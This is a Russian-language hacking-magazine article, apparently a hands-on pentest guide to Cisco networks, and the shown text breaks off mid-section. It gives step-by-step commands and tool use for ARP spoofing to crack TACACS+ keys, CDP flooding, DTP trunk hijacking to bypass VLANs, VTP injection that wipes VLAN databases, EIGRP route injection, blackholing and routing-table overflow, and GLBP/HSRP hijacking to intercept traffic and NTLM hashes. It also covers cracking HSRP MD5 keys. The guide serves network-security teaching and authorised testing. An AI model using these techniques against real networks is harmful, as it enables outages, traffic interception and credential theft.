Cisco Nightmare

ВЗЛОМ ХАРДКОР
Cisco Nightmare. Большой гайд по

пентесту сетей Cisco
in9uz ,
4 недели назад

Комментарии

7,929
Содержание статьи
Партнер
01. Перехват и дешифровка ключа TACACS+
01.1 Шаг 1: MITM-атака
01.2 Шаг 2: Loki
02. Атаки на протокол CDP
02.1 Сбор информации
02.2 DoS-атака CDP Flooding
03. Злоупотребление динамическим транкингом
04. Сетевой паралич при атаке на VTP
04.1 Какие бывают роли в VTP-домене
04.2 Типы объявлений
05. Атаки на протокол EIGRP
05.1 Разведка в сети
05.2 Поддельные соседи EIGRP
05.3 Черная дыра
05.4 Злоупотребление K-значениями
05.5 Переполнение таблиц маршрутизации
06. MITM-атака через абьюз проприетарных FHRP-протоколов Cisco
06.1 Зачем нужен FHRP
06.2 Угон GLBP и перехват трафика
06.3 Угон HSRP и перехват трафика
07. ЭксплуатацияCisco Smart Install
08. Эксфильтрация конфигурации и перечисление через SNMP
08.1 cisco_config_tftp
08.2 snmp_enum
09. Постэксплуатация взломанного устройства
09.1 Bruteforce hashes
09.2 Cisco EEM
09.3 Lateral VLAN Segmentation Bypass
09.4 Configuration Enumeration
10. Выводы
За всю свою карьеру сетевого инженера я повидал немало сетей, где исполь-
зовалось оборудование Cisco. И в большинстве случаев это оборудование
работало с конфигурацией по умолчанию, что ставит локальную сеть
под большой удар со стороны потенциального нарушителя. Из этой статьи ты
узнаешь, какой кошмар может возникнуть в сетях Cisco, если к их настройке
отнеслись халатно.
WARNING
Статья имеет ознакомительный характер и предназначена
для специалистов по безопасности, проводящих тестирование
в рамках контракта. Автор и редакция не несут ответственности
за любой вред, причиненный с применением изложенной
информации. Распространение вредоносных программ,
нарушение работы систем и нарушение тайны переписки прес‐
ледуются по закону.
ПЕРЕХВАТ И ДЕШИФРОВКА КЛЮЧА TACACS+

TACACS+ (Terminal Access Controller Access Control System) — протокол, предназначенный
для централизованного оперирования учетными записями, которые используются непос-
редственно для администрирования сетевого оборудования. Сервер TACACS+ решает, поз-
волить или запретить доступ пользователю, который пытается войти в панель управления
сетевым оборудованием.
У этого протокола есть две версии: TACACS и TACACS+. Мы будем разбираться именно
с TACACS+.
«Плюсовая» версия отличается повышенным уровнем безопасности и интегрированным

шифрованием. Также разделены функции AAA (аутентификация, авторизация и учет), и их
можно использовать по отдельности.
Если злоумышленник сумеет встать посередине между клиентом и сервером TACACS, он

сможет перехватить ключ для аутентификации в зашифрованном виде, а потом провести
против него локальный брутфорс. То есть ты и брутфорсишь ключ, и в логах не палишься.
И если тебе удастся сбрутить ключ, то ты сможешь получить доступ к сетевому оборудо-
ванию и расшифровать трафик в Wireshark. Да, Wireshark умеет работать с двумя версиями
протокола TACACS. Предоставив «Акуле» ключ, ты сможешь дешифровать остальную часть
данных, в которой хранится логин пользователя.
Шаг 1: MITM-атака
Сперва нужно провести MITM-атаку, тут все зависит от обстоятельств и твоих предпочтений.
Для примера я реализую ARP-спуфинг в отношении TACACS-агента и TACACS-сервера.
• В качестве агента TACACS выступит коммутатор SW1 с IP-адресом 10.10.100.10.

• В качестве сервера TACACS выступит TACACSGUI с адресом 10.10.100.70.
ARP-спуфинг я реализую через утилиту Ettercap. Для начала необходимо переключить

интерфейс в неразборчивый режим и разрешить маршрутизацию:
necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc
necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1
Запускаем Ettercap:
necreas1ng@Inguz:~$ sudo ettercap -G
Ettercap
В качестве прослушивающего интерфейса выступит eth0. Запустим сканирование хостов.
Сканирование хостов
Target 1 будет хост с IP-адресом 10.10.100.10, а Target 2 — 10.10.100.70.
Проводим ARP-спуфинг против двух целей.
Начало ARP-спуфинга
Шаг 2: Loki
Теперь необходимо запустить Loki. Это специальный инструмент, созданный для анализа
безопасности протоколов L2/L3. По возможностям он не хуже той же популярной Yersinia
и составляет ей серьезную конкуренцию. Loki также умеет брутфорсить ключи TACACS.
В случае успеха брутфорса ключа в зашифрованном виде (обычно он зашифрован в формате
MD5) мы сможем получить доступ к оборудованию и расшифровать зашифрованный
TACACS-трафик.
Запускаем Loki:
necreas1ng@Inguz:~$ sudo loki_gtk.py
Выбираем интерфейс для атаки.
Loki. Выбор интерфейса
Также нужно указать путь до словаря, чтобы провести брутфорс зашифрованного ключа.
Обязательно снимай галочку с опции Use Bruteforce, иначе Loki будет ломать пароль полным
перебором, не задействовав сам словарь.
Настройка пути до словаря
Теперь нужно ждать, пока легитимный администратор войдет на устройство через сервер
TACACS. Предполагается, что сетевой администратор уже зашел, а мы, встав посередине
через ARP-спуфинг, перехватываем трафик. И при этом легитимные хосты не понимают, что
в их соединение вмешался кто‑то посторонний.
Локи обнаружил соединение TACACS
Теперь нажимаем на кнопку CRACK и ждем, пока Loki ломанет пароль.
Локи взломал ключ TACACS. Пароль: secret1234
Отлично, нам удалось сбрутить ключ, теперь нужно расшифровать TACACS-трафик. Как я
и сказал, Wireshark умеет работать с зашифрованным трафиком TACACS при наличии ключа.
Скармливаем «Акуле» ключ
Видим, какой баннер использовался.
Использовавшийся баннер
Обнаруживаем логин пользователя admin.
В итоге у нас есть креды admin:secret1234, с которыми можно зайти на само оборудование.
Пожалуй, проверю их на валидность.
Успешная аутентификация на оборудовании SW1
Вот таким образом можно атаковать TACACS+ и получать доступ к панели управления
сетевым оборудованием.
АТАКИ НА ПРОТОКОЛ CDP

CDP (Cisco Discovery Protocol) — разработка инженеров Cisco Systems, протокол канального
уровня, созданный для того, чтобы устройства могли обмениваться информацией. CDP
может помочь сетевому администратору и облегчить процесс траблшутинга, но для зло-
умышленника... Сейчас выясним.
Сбор информации
По умолчанию CDP выполняет рассылку объявлений на все свои порты. Но что, если зло-
умышленник подключится в порт того же коммутатора? Воспользовавшись сетевым сниф-
фером, будь то Wireshark или tcpdump, он сможет извлечь ценную информацию о самом
устройстве — начиная его моделью и заканчивая версией Cisco IOS. Воспользовавшись этой
информацией, он сможет провести перечисление той же версии Cisco IOS и найти по ней уяз-
вимость, а затем проэксплуатировать ее.
Дамп CDP-трафика
DoS-атака CDP Flooding

Если злоумышленник спровоцирует рассылку огромного количества CDP-объявлений, то
сам флудинг вызовет перегрузку коммутатора и нарушит работу сети. Также будет перепол-
няться таблица соседей CDP. Проводить эту атаку просто, поэтому не буду вдаваться в под-
робности.
На этот раз мы воспользуемся Yersinia:
necreas1ng@Inguz:~$ sudo yersinia -G
Инструмент обнаружил коммутатор SW1
Выставляем опцию flooding CDP table и начинаем атаку. Центральный процессор коммутато-
ра будет перегружен, как и таблица CDP-соседей, вследствие чего возникает «сетевой
паралич».
Начало атаки
Перегруженный центральный процессор коммутатора
Переполняющаяся таблица CDP-соседей
ЗЛОУПОТРЕБЛЕНИЕ ДИНАМИЧЕСКИМ ТРАНКИНГОМ

DTP (Dynamic Trunking Protocol) — протокол канального уровня, призванный организовать
автоматическую систему транкинга. Благодаря DTP коммутаторы сами решают, какой порт
будет работать в режиме магистрального канала (Trunk), а какой нет. На мой взгляд, исполь-
зование DTP говорит о некачественном дизайне сети. Транки должны быть строго там, где
они нужны, и это должно быть задокументировано. Особенно смешно, когда сетевой инже-
нер сам не знает, какой порт у него в транке, а какой в режиме доступа.
По умолчанию порты коммутатора работают в режиме Dynamic Auto. Это говорит о том, что
коммутационный порт находится в режиме инициации транка со стороны соседнего ком-
мутатора. Пентестеру нужно физически подключиться к коммутатору и отправить кадр DTP
Desirable, который триггерит переключение порта в режим транка. Далее злоумышленник
сможет провести перечисление сетей VLAN с помощью анализа кадров STP и обойти сег-
ментацию сети VLAN — создав виртуальные интерфейсы.
INFO
Подробнее об атаке протокола DTP ты сможешь узнать из дру‐
гой моей статьи.
Для атаки понадобится скрипт, который будет генерировать кадр DTP Desirable. Для этого я
написал небольшую программу DTPHijacking.py. Ее исходный код открыт, можешь изучить
его.
Инструмент DTPHijacking.py
necreas1ng@Inguz:~$ sudo python3 DTPHijacking.py --interface eth0
Строение DTP-инъекции
Хочу отметить, что Access/Desirable (0x03) указывает на то, что DTP-кадр имеет тип
Desirable, который велит порту переключиться в режим Trunk. А 802.1Q/802.1Q (0xa5) ука-
зывает на тип инкапсуляции 802.1Q.
INFO
Ни в коем случае не прерывай работу скрипта. Он инжектит DTP
Desirable каждые три секунды. Созданные динамически магис‐
тральные каналы на коммутаторе живут всего пять минут. Через
пять минут транк отваливается.
Проанализировав STP-кадры, мы узнаем о существовании сетей VLAN 30 и 60.
Анализ STP-кадров
С данной информацией и наличием транк‑порта мы можем получить доступ к этим сетям

VLAN, при этом обойдя VLAN-сегментацию. Необходимо будет создать виртуальные
интерфейсы и назначить на них IP-адрес.
necreas1ng@Inguz:~$ sudo vconfig add eth0 30
necreas1ng@Inguz:~$ sudo ifconfig eth0.30 up
necreas1ng@Inguz:~$ sudo dhclient -v eth0.30
Полученные адреса по DHCP для виртуальных интерфейсов
Успешные ICMP-запросы в сторону шлюзов сетей VLAN 30 и 60
Таким образом, можно обойти VLAN-сегментацию и получить доступ к VLAN-сетям.
СЕТЕВОЙ ПАРАЛИЧ ПРИ АТАКЕ НА VTP

VTP (VLAN Trunking Protocol) — протокол, созданный для централизованного управления
сетями VLAN. Чтобы отслеживать актуальную базу данных VLAN, коммутаторы проверяют
специальные номера ревизии. Когда происходит любое обновление таблицы, номер ревизии
повышается на единицу. И если коммутатор обнаружит конфигурацию, у которой номер
ревизии выше, он автоматически обновит свою базу данных VLAN.
Какие бывают роли в VTP-домене

• VTP Server. Коммутатор в роли VTP Server может создавать новые VLAN, удалять
старые или менять информацию в самих VLAN. Также он занимается генерирова-
нием объявлений VTP для остальных членов домена.
• VTP Client. Коммутатор в этой роли будет получать специальные анонсы VTP от дру-
гих коммутаторов в домене, чтобы обновлять базы данных VLAN у себя. Клиенты
ограничены в возможностях создавать VLAN и даже не имеют права локально
изменять конфигурацию VLAN. Иначе говоря, доступ read only.
• VTP Transparent. В этом режиме коммутатор не участвует в процессах VTP и может
вести у себя полное и локальное администрирование всей конфигурации VLAN.
Работая в прозрачном режиме, коммутаторы занимаются только передачей объ-
явлений VTP от других коммутаторов, не затрагивая свою конфигурацию сетей
VLAN. У таких коммутаторов номер ревизии всегда будет равен нулю, и против них
атаку провести не получится.
Типы объявлений
• Summary Advertisement. Объявление VTP, которое сервер VTP отправляет каж-
дые 300 секунд (5 минут). В этом объявлении хранится имя домена VTP, версия про-
токола, отметка времени и значение MD5-хеша конфигурации.
• Subset Advertisement. Это объявление VTP, которое отправляется при каждом изме-
нении конфигурации VLAN.
• Advertisement Request — запрос от клиента VTP к серверу VTP на сообщение
Summary Advertisement. Обычно рассылается в ответ на сообщение о том, что ком-
мутатор обнаружил Summary Advertisement с бóльшим номером ревизии кон-
фигурации.
Атаку на протокол VTP можно провести только с транкового порта, поскольку объявления
VTP транслируются и принимаются только на транковых портах. Поэтому при пентесте пос-
ле атаки на DTP твоей следующей целью может быть VTP. Для атаки на домен VTP я буду
использовать Yersinia. С ее помощью я проведу VTP-инжект, который стирает всю базу дан-
ных VLAN и тем самым парализует сеть.
INFO
У протокола VTP есть целых три версии. В этой статье я проведу
атаку против первой версии — VTPv1.
Для стирания всей базы данных VLAN выбираем опцию deleting all VTP vlans.
Начало атаки на домен VTP
База данных VLAN перед атакой
База данных VLAN после атаки
Сетевой паралич
Хост из сети VLAN 60 утратил связность до шлюза.
АТАКИ НА ПРОТОКОЛ EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) — протокол динамической маршрутизации.
Является дистанционно‑векторным протоколом. При отсутствии аутентификации и кон-
фигурации пассивных интерфейсов злоумышленник может вмешаться в процесс EIGRP-мар-
шрутизации и вызвать отравление таблиц маршрутизации. Более того, сеть EIGRP (иначе
говоря, автономная система) «плоская», и у нее отсутствует сегментация на какие‑либо
зоны. Что это может значить для атакующего? Ну, если он проведет инъекцию маршрута, то,
скорее всего, этот маршрут распространится по всей автономной системе EIGRP.
В первую очередь для атаки на автономную систему EIGRP необходимо установить соседс-

тво с легитимным маршрутизатором EIGRP, что открывает большие возможности, начиная
от базовой разведки и заканчивая разными инъекциями.
Как устанавливается соседство между EIGRP-маршрутизаторами
INFO
Не забывай, что без предварительной установки соседства
легитимные EIGRP-маршрутизаторы не будут реагировать
на рассылаемые тобой сообщения EIGRP (будь то Hello,
Update или другие).
Для этого я воспользуюсь FRRouting. Это опенсорсное ПО, которое предназначено для соз-

дания маршрутизатора в Unix и Linux. FRRouting позволяет реализовать виртуальный мар-
шрутизатор, поддерживающий протоколы BGP, OSPF, EIGRP, RIP и другие. Его достаточно раз-
вернуть на своей атакующей системе, и фактически ты сможешь притвориться легитимным
роутером в домене маршрутизации. Как развернуть FRR на своей системе, я покажу в сле-
дующем разделе.
INFO
Для проведения атак на домены маршрутизации EIGRP я раз‐
работал несколько инструментов и поместил их в свой репози‐
торий EIGRPWN на GitHub. Там ты найдешь все инструменты,
которые я использовал для атаки на EIGRP в этой статье.
Разведка в сети
Подключение к домену маршрутизации позволяет нам провести перечисление и разведку
сетей и не тратить много времени на сканирование. Это способ значительно экономит твое
драгоценное время. К тому же при сканировании ты можешь спалиться перед системами
безопасности IPS/IDS. Как по мне, подключение к домену и перечисление — вектор атаки
на домены маршрутизации, который дарит тебе наибольший импакт.
Но для этого всего нужно развернуть FRRouting. Приступим.
Необходимо отредактировать конфигурационный файл daemons. В нем прописаны кон-

фигурации демонов в контексте их активности. Либо они подключены (yes), либо нет (no).
Нам нужно активировать работу демона eigrpd.
root@Inguz:~# nano /etc/frr/daemons
eigrpd=yes
Активация демона eigrpd
После этого нужно поправить файл vtysh.conf, добавив в него строчку, отвечающую за сох-
ранение конфигурации в один файл, чтобы конфигурации разных протоколов не раскидыва-
ло в разные файлы (например, eigrpd.conf, staticd.conf). Настраивается опционально.
root@Inguz:~# nano /etc/frr/vtysh.conf
service integrated-vtysh-config
С конфигурацией FRRouting закончили. Теперь самое время запустить демон FRR. И не

забываем о разрешении маршрутизации трафика.
necreas1ng@Inguz:~$ systemctl start frr
Состояние демона FRRouting
Подключение к домену маршрутизации EIGRP

С помощью команды vtysh мы попадем в панель управления маршрутизатором FRR.
necreas1ng@Inguz:~$ sudo vtysh
Inguz# show version
Панель управления FRR
Перед конфигурацией EIGRP на маршрутизаторе нужно узнать номер автономной системы
и понять, есть ли аутентификация.
Дамп трафика EIGRP
Как мы видим, номер автономной системы EIGRP — 1. Аутентификация отсутствует. С этой

информацией мы без труда сможем подключиться к домену маршрутизации EIGRP.
INFO
Не забывай, что домен маршрутизации EIGRP может быть
защищен аутентификацией. Но у тебя все еще есть шанс под‐
ключиться к домену маршрутизации. Во время рассылки
пакетов приветствия в них также находятся криптографические
хеши. Если ты сумеешь извлечь эти хеши из дампа трафика
и сбрутить пароль, ты сможешь войти с этим паролем в домен
маршрутизации.
Переходим в режим глобальной конфигурации и запускаем процесс EIGRP, указываем номер

автономной системы — 1.
Inguz# conf t
Inguz(config)# router eigrp 1

Inguz(config-router)# network 10.10.100.50/32
После этого устанавливается соседство между легитимными EIGRP-маршрутизаторами.

В моей сети их два:
• маршрутизатор GW1 по адресу 10.10.100.100;

• маршрутизатор GW2 по адресу 10.10.100.200.
Установление соседства с маршрутизатором GW1
Установление соседства с маршрутизатором GW2
Во время установления и поддержания соседства между EIGRP-маршрутизаторами роутеры

обмениваются своей маршрутной информацией. После установления соседства в нашей
таблице маршрутизации атакующей системы появятся новые маршруты, а именно:
• 10.1.239.0/24 via 10.10.100.100;

• 30.30.30.0/24 via 10.10.100.100;
• 100.100.100.0/24 via 10.10.100.100;
• 172.16.100.0/24 via 10.10.100.200.
Таблица маршрутизации атакующей системы после подключения к домену EIGRP
Таким образом, после установления соседства мы узнали о существовании этих подсетей,

что облегчает нам задачу в пентесте и позволяет сэкономить время. Мы можем обойтись
без дополнительного сканирования подсетей. Теперь мы в домене маршрутизации EIGRP
и можем развивать некоторые векторы атак. О них и поговорим дальше.
Поддельные соседи EIGRP

Я выяснил, что генерация и быстрая рассылка массовых пакетов приветствия протокола
EIGRP приводит к перегрузке центрального процессора маршрутизатора, что, в свою оче-
редь, может открыть возможность для DoS-атаки. Я разработал небольшой скрипт
helloflooding.py, но мне кажется, что скрипту не хватает скорости рассылки пакетов. Всему
виной — GIL, который мешает запустить функцию sprayhello в несколько потоков в секунду.
Со временем я перепишу скрипт на C.
Инструмент helloflooding.py
Аргументы скрипта:
• интерфейс атакующей системы;

• номер автономной системы EIGRP;
• подсеть, в которой находится атакующая система. В моем случае подсеть 10.10.
100.0/24.
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 helloflooding.py --interface eth0 --asn
Перегрузка центрального процессора во время флудинга
Как видно из скриншота выше, нагрузка на центральный процессор возросла до 98%.
Черная дыра
Суть этой атаки заключается в простой инъекции ложного маршрута, который отравит таб-
лицу маршрутизации. Трафик, допустим, сети 10.10.100.0/24 будет лететь в никуда,
вызывая отказ в обслуживании. Такую атаку называют Blackhole («черная дыра»). В качес-
тве инструмента для ее проведения выступит скрипт routeinject.py.
Инструмент routeinject.py
Аргументы:

• IP-адрес атакующего;
• IP-адрес целевой подсети, трафик в которую будет отправлен в «черную дыру»;
• маска целевой подсети.
В рамках этого примера я отправлю в «черную дыру» трафик, предназначенный для хоста
172.16.100.140/32.
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routeinject.py --interface eth0 --asn 1
Строение вредоносной инъекции маршрута
Попытки легитимного хоста пингануть целевой сервер
Как мы видим, хост теряет связность до хоста 172.16.100.140/32 из‑за инъекции маршрута.
Отравленный роут в таблице маршрутизации GW1
Злоупотребление K-значениями
Чтобы установить соседство EIGRP, маршрутизаторы используют специальные K-значения.
Они должны быть одинаковыми среди всех EIGRP-соседей. Если хотя бы одно из K-значений
не будет совпадать, возникнет авария в домене EIGRP и соседство будет разорвано.
Для проведения этой атаки нам послужит инструмент relationshipnightmare.py.
Инструмент relationshipnightmare.py
Для работы скрипта необходимо указать:

• IP-адрес легитимного маршрутизатора.
От имени указанного IP и будет отправлен инжект на мультикастовый IP-адрес EIGRP,

в котором K-значения отличаются. В моем случае я буду разрывать соседство от имени мар-
шрутизатора GW1 (его адрес — 10.10.100.100).
Начинаем атаку.
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 relationshipnightmare.py --interface eth
Дамп трафика во время разрыва соседства

Дамп трафика во время разрыва соседства
Маршрутизатор GW1 бесконечно разрывает и восстанавливает связь
Таким образом можно провести DoS-атаку. Во время эксплуатации возникают бесконечные

разрывы и попытки установить соседство, что парализует работу части домена маршрутиза-
ции EIGRP.
Переполнение таблиц маршрутизации

Суть этой атаки заключается в том, чтобы спровоцировать отправку огромного количества
ложных маршрутов, которые будут переполнять таблицу маршрутизации. Это истощает
вычислительные ресурсы маршрутизатора, а именно процессора и оперативной памяти, пос-
кольку инжекты происходят на огромной скорости. Реализована эта атака в скрипте
routingtableoverflow.py.
Аргументы:

• IP-адрес атакующего.
Инструмент routingtableoverflow.py
Начинаем атаку.
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routingtableoverflow.py --interface eth0
Таблица маршрутизации начинает переполняться маршрутами. Рандомные адреса целевых

сетей обусловлены использованием RandIP() в Scapy.
Переполняющаяся таблица маршрутизации на роутере GW1
Центральный процессор маршрутизатора нагружен до 96%.
Перегруженный CPU маршрутизатора
MITM-АТАКА ЧЕРЕЗ АБЬЮЗ ПРОПРИЕТАРНЫХ FHRP-ПРОТОКОЛОВ

CISCO

Зачем нужен FHRP

FHRP (First Hop Redundancy Protocol) — класс сетевых протоколов, предназначенных для соз-
дания системы горячего резервирования маршрутизации. С помощью FHRP физические
маршрутизаторы могут объединяться в одно логическое устройство, что повышает отказоус-
тойчивость и помогает распределять нагрузку.
Инженеры Cisco Systems разработали два FHRP-протокола — это GLBP и HSRP, пентест
которых я продемонстрирую дальше.
Угон GLBP и перехват трафика

GLBP (Gateway Load Balancing Protocol) — это еще одна разработка инженеров Cisco Systems,
созданная для организации системы горячего резервирования маршрутизаторов. Является
частью класса протоколов FHRP. В отличие от HSRP и VRRP, предлагает настоящую балан-
сировку нагрузки, а именно:
• round-robin (по умолчанию GLBP использует именно этот вариант);

• host-dependent;
• weighted-like.
Роли в GLBP-домене и терминология

AVG (Active Virtual Gateway) — маршрутизатор с главенствующей ролью, также отвечает
за раздачу MAC-адресов остальным маршрутизаторам в рамках одной группы GLBP. Эдакий
«босс» в домене GLBP. AVG указывает остальным маршрутизаторам, как распределять тра-
фик, раздавая им MAC-адреса, когда прилетает ARP-запрос. Стоит отметить, что в домене
GLBP AVG-маршрутизатор может быть только один, но он также может быть AVF-членом.
AVF (Active Virtual Forwarder) — маршрутизатор в группе GLBP, занимающийся обработкой

трафика в сети.
GLBP Priority — значение приоритета, определяющее, какой маршрутизатор в группе GLBP

будет AVG. По умолчанию это значение равно 100 (диапазон приоритета может быть
от 1 до 255). Может настраиваться вручную, то есть сетевой инженер сам определяет, какой
роутер будет «начальником», а какой «подчиненным». Чем выше приоритет, тем больше
вероятность, что маршрутизатор получит AVG-роль. Обычно AVG-роль дается более мощным
маршрутизаторам.
GLBP Weight — значение так называемого веса маршрутизатора в группе GLBP. GLBP Weight
определяет уровень нагрузки на маршрутизатор. Это значение «плавающее» и может
меняться в зависимости от нагрузки на физический канал (задействован механизм Object
Tracking), но можно настроить его и вручную.
GLBP Virtual IP Address — виртуальный IP-адрес в домене GLBP. Используется в качестве

адреса шлюза по умолчанию для легитимных хостов.
Для трансляции и обработки служебной информации GLBP использует зарезервированный

IP-адрес групповой рассылки 224.0.0.102 и протокол транспортного уровня UDP
под номером порта 3222. Специальные пакеты приветствия GLBP Hello отправляются каж-
дые три секунды. Если в течение десяти секунд GLBP-маршрутизатор не получил пакет при-
ветствия от соседа, то сосед будет признан «мертвым» и выпадет из домена GLBP.
GLBP Hijacking
Техника этой сетевой атаки заключается в том, чтобы навязать свое устройство в качестве
главного маршрутизатора с помощью инъекции вредоносного пакета GLBP с максимальным
значением приоритета. Успешная эксплуатация приводит к DoS- или MITM-атаке, в резуль-
тате которой ты сможешь перехватить трафик внутри сети, провести редирект или вызвать
DoS, так как ты захватываешь роль AVG-маршрутизатора. Достаточно собрать GLBP-пакет
с наивысшим значением приоритета 255 и направить его в сторону локальной сети.
Как будет ходить трафик до проведения атаки
Как будет ходить трафик после проведения атаки
Loki
Для демонстрации этой атаки я буду использовать Loki. Он выполнит вредоносную GLBP-
инъекцию с максимальным значением приоритета 255 и максимальным значением
веса 255. Но перед проведением атаки нужно изучить следующую информацию:
• виртуальный IP-адрес, использующийся в GLBP-домене;

• наличие аутентификации;
• значение приоритетов маршрутизаторов.
Эту информацию мы сможем извлечь с помощью анализа трафика GLBP. Воспользуемся

Wireshark.
Как видим, в процессе GLBP задействованы только два маршрутизатора:

10.10.100.100 и 10.10.100.200.
GLBP-объявления от двух маршрутизаторов

Информация о конфигурации GLBP первого маршрутизатора
Информация о конфигурации GLBP второго маршрутизатора
После анализа GLBP-трафика мы имеем следующее:
• обнаружена мисконфигурация в рамках настройки приоритетов. AVG-роутером счи-

тается GLBP-маршрутизатор с приоритетом 200, то есть вектор для угона GLBP у нас
есть;
• отсутствует аутентификация;
• виртуальный IP-адрес, использующийся в GLBP-домене — 10.10.100.254.
Обладая этой инфой, мы можем без труда атаковать GLBP. Расчехляем Loki.
Loki обнаружил объявления GLBP с двух маршрутизаторов
Перед проведением атаки переключаемся в неразборчивый режим и разрешаем маршру-

тизацию трафика:
Выбираем маршрутизатор под IP-адресом 10.10.100.100 и активируем опцию Get IP. Также

нужно сгенерировать Gratuitous ARP.
Строение вредоносной GLBP-инъекции
Как видим, теперь AVG-роутером притворяется атакующая система. Значение приори-

тета 255, значение веса — 255, то есть максимальные.
После выполнения инъекции необходимо создать вторичный IP-адрес на нашем сетевом
интерфейсе со значением виртуального IP-адреса в домене GLBP. Также нужно задать 24-
битную маску. Так легитимный трафик будет заворачиваться на нас, поскольку исполь-
зующийся виртуальный IP-адрес в домене GLBP является адресом шлюза по умолчанию
для хостов.
necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
Чтобы видеть не только входящий трафик, но и исходящий, нам понадобится небольшое
правило для Source NAT (masquerading):
necreas1ng@Inguz:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Также нужно удалить маршрут по умолчанию на нашей машине и прописать новый, который
будет ходить через бывший AVG-маршрутизатор (его адрес — 10.10.100.100). Даже нес-
мотря на то, что мы отжали AVG-роль у маршрутизатора, он все равно сможет выполнить
маршрутизацию трафика.
necreas1ng@Inguz:~$ sudo route del default
necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
Вот и все, теперь мы стали тем самым «человеком посередине»! Запущу инструмент net-
creds.py для анализа трафика, чтобы поискать важные данные. Например, незашифрован-
ный FTP-трафик или NTLM-хеши.
necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i eth0
После запуска утилиты попробую прочесть SMB-шару с IP-адресом 172.16.100.70, которую

находят GLBP-маршрутизаторы.
user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy
Перехваченный NTLM-хеш пользователя mercy
Вот таким образом можно перехватывать трафик внутри сети, атакуя домены GLBP.
Угон HSRP и перехват трафика

HSRP (Hot Standby Router/Redundancy Protocol) — проприетарный протокол Cisco, который
позволяет обеспечить избыточность сетевого шлюза. Общая идея заключается в том, чтобы
объединить несколько физических маршрутизаторов в один логический с общим IP-адре-
сом. Этот адрес виртуального маршрутизатора будет назначаться на интерфейс маршрутиза-
тора с главенствующей ролью, а тот, в свою очередь, займется форвардингом трафика.
В домене HSRP задача обработки всего трафика ложится именно на маршрутизатор с гла-
венствующей ролью, в отличие от GLBP, где предлагалось распределение нагрузки за счет
использования специальных метрик (приоритет и вес).
Роли в HSRP-домене и терминология

• HSRP Active Router — устройство, играющее роль виртуального маршрутизатора
и обеспечивающее форвардинг трафика из сетей источника до сетей назначения.
• HSRP Standby Router — устройство, играющее роль резервного маршрутизатора,
которое ожидает отказа активного маршрутизатора. После падения основного
Active-роутера Standby-роутер возьмет на себя главенствующую роль и будет
заниматься обязанностями Active-роутера.
• HSRP Group — группа устройств, которая обеспечивает работу и отказоустойчивость
логического маршрутизатора.
• HSRP MAC Address — виртуальный MAC-адрес логического маршрутизатора
в домене HSRP.
• HSRP Virtual IP Address — это специальный виртуальный IP-адрес в группе HSRP.
Этот IP-адрес будет шлюзом по умолчанию для конечных хостов, используется
на самом логическом маршрутизаторе.
Версии протокола HSRP

У протокола HSRP есть две версии — HSRPv1 и HSRPv2. Они отличаются следующими
параметрами:
• количество возможных логических групп. В HSRPv1 их может быть до 255.

У HSRPv2 количество групп может достигать 4096;
• IP-адрес мультикастовой рассылки. HSRPv1 для трансляции служебной информации
использует IP-адрес 224.0.0.2, а HSRPv2 — 224.0.0.102;
• виртуальный MAC-адрес. HSRPv1 в качестве виртуального MAC-адреса использует
00:00:0C:07:AC:XX. У HSRPv2 виртуальный MAC-адрес 00:00:0C:9F:FX:XX (где XX —
это номер группы HSRP).
Для трансляции и обработки служебной информации HSRP использует зарезервированный

IP-адрес групповой рассылки 224.0.0.2 или 224.0.0.102 (в зависимости от версии HSRP)
и протокол транспортного уровня UDP с номером порта 1985. Специальные пакеты приветс-
твия HSRP Hello отправляются каждые три секунды. Если в течение десяти секунд HSRP-
маршрутизатор не получил пакет приветствия от соседа, то сосед будет признан «мертвым»
и выпадет из домена HSRP.
HSRP Hijacking
Здесь абсолютно все то же самое, что с GLBP Hijacking. Нам необходимо провести вредонос-
ную HSRP-инъекцию с максимальным значением приоритета 255. Это позволяет захватить
роль Active-маршрутизатора, что открывает возможности для MITM-атаки. Но опять же
перед проведением атаки нам нужно изучить следующую информацию:
• виртуальный IP-адрес, использующийся в HSRP-домене;

• наличие аутентификации;
• значение приоритетов маршрутизаторов.
Эту информацию мы сможем извлечь с помощью анализа трафика HSRP. Воспользуемся

Wireshark.
Как видно на скриншоте, в процессе HSRP задействованы только два маршрутизатора
с адресами 10.10.100.100 и 10.10.100.200.
HSRP-объявления от двух маршрутизаторов
Информация о первом HSRP-маршрутизаторе

Информация о первом HSRP-маршрутизаторе
Информация о втором HSRP-маршрутизаторе

Информация о втором HSRP-маршрутизаторе
Исходя из анализа HSRP-трафика, мы имеем следующее:
• обнаружена мисконфигурация в рамках настройки приоритетов. Active-роутером

считается HSRP-маршрутизатор с приоритетом 200, то есть вектор для угона HSRP
у нас есть;
• используемый виртуальный IP-адрес в HSRP-домене — 10.10.100.254;
• используется MD5-аутентификация.
Наличие аутентификации в домене связывает нам руки, но скоро я это исправлю.
Authentication Bypassing
Дамп трафика HSRP сохраняем в формате .pcap, чтобы эксфильтратор смог корректно
извлечь хеши MD5 из дампа.
В качестве эксфильтратора я буду использовать hsrp2john.py:
necreas1ng@Inguz:~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_auth
Извлеченные из дампа HSRP-трафика хеши MD5

Извлеченные из дампа HSRP-трафика хеши MD5
Хеши я сбручу с помощью John the Ripper, укажем сами хеши в качестве входных данных. А с
помощью ключа --wordlist укажу путь до словаря:
necreas1ng@Inguz:~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlis
Взломанный пароль от домена HSRP

Взломанный пароль от домена HSRP
В итоге мы имеем ключ для входа в домен HSRP — endgame.
Loki
Для атаки на протокол HSRP буду использовать все тот же Loki. У него, помимо прочего, есть
возможность инжекта с ключом, что помогает обходить аутентификацию. Раньше, в разделе
HSRP Hijacking, мы получили всю необходимую информацию о домене HSRP.
Запускаем Loki.
Loki обнаружил HSRP-объявления

Loki обнаружил HSRP-объявления
